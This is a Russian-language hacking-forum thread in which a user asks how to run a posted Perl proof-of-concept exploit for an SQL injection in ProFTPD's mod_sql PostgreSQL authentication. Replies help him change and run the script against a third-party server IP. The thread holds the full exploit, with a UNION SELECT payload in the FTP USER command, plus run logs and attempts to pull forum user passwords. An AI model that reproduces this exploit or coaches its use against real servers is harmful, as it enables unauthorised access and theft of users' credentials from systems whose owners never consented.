Есть на одном сайте такая уязвимость : SQL-инъекция в модуле mod_sql Pro_FTPD сервера. Во время аутентификации к серверу баз данных PostregSQL mod_sql_postreg некорректно обрабатывает escape строки, что позволяет удаленному атакующему в качестве имени пользователя использовать SQL запрос и получить неавторизованный доступ к базе данных на сервере. Эксплойт написан на perle, в котором я вообще не рублю ........ Подскажите как его юзать ? или если кто в курсе мож как-нибудь в ручную дыру можно юзать ? Code: #!/usr/bin/perl # Sql inject on ProFTPD with mod_sql proof of concept script # runlevel [ [email protected] ] # Spain, 2003 use IO::Socket; if(@ARGC<2){ print "\nProof Of Concept Sql Inject on ProFTPD\n"; print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n"; exit(0); }; $server = $ARGV[0]; $query = $ARGV[1]; $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1) or die "Can't connect. \n"; if(defined($line=<$remote>)){ print STDOUT $line; } # Proof of concept query, it may change on the number of rows # By default, it can query User, Pass, Uid, Gid, Shell or # User, Pass, Uid, Gid, Shell, Path, change the union query... if($query eq "1"){ print $remote "USER ')UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE(''='\n"; }else{ print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE(''='\n"; }; if(defined($line=<$remote>)){ print STDOUT $line; } print $remote "PASS p\n"; if(defined($line=<$remote>)){ print STDOUT $line; } print "Sent query to $ARGV[0]\n"; if($line =~ /230/){ #logged in print "[------- Sql Inject Able \n"; }else{ print "[------- Sql Inject Unable \n"; } close $remote;
Ставь актив перл для винды и юзай,если линукс то там ставь прото перл,если конечно его нет(вроде во всех по умалчанию есть)
Нет конечно. Просто устанавливай ActivePerl, а потом в командной строке набирай, к примеру: H:\my sploits\sploit.pl [параметр] , или если perl не в авто загрузке, то пиши в cmd: C:\perl\bin\perl.exe H:\my sploits\sploit.pl [параметр]
Скомпилировал с горем пополам но возникла проблема с передачей адреса сервера, как же это зделать ? что ему вообще надо, только ип? в Си переменной ARGC можно можно передовать значения так : C:\perl\exployt.exe parametr но в perl так что то неработает...
вот так и пушу : Code: C:\perl\bin>perl.exe 1.pl 207.248.240.118 SELECT user_password FROM forum_users; Proof Of Concept Sql Inject on ProFTPD Usage: perl poc-sqlftp <target> [1=Alternate query] C:\perl\bin> ......... зы ip изменён
начни так: #!/usr/bin/perl use IO::Socket; print "\nInput your IP: "; my $server = <stdin>; chop ($server); print "\nInput your query: "; my $query = <stdin>; chop ($query); и в середине замени print "Sent query to $ARGV[0]\n"; на print "Sent query to $server\n";
хорошо к серверу он уже конектится Code: C:\perl\bin>2.pl Input your IP: 207.248.240.118 Input your query: SELECT user_password FROM phpbb_users 220 ProFTPD 1.2.8 Server (NewAge FTP Server) [serv.ru] 331 Password required for ')UNION. 530 Login incorrect. Sent query to 207.248.240.118 [------- Sql Inject Unable Наверно запрос у меня не правельный ? или дыру каким то макаром прикрыли
вот когда так пишет т.е. скрипт не запускается это означает что не все или неправильный параметры передал ты скрипту.А так если анейбл то значит дырки нету =)))
Ну дык Интересно ))) Я вот некоторые нюансы не понимаю, а объяснить некому((( Например: ччто именно я должен вводит в query при использование эксплоита :? как узнать в какой категории (название) хранится пароль, или логинн пользователя ?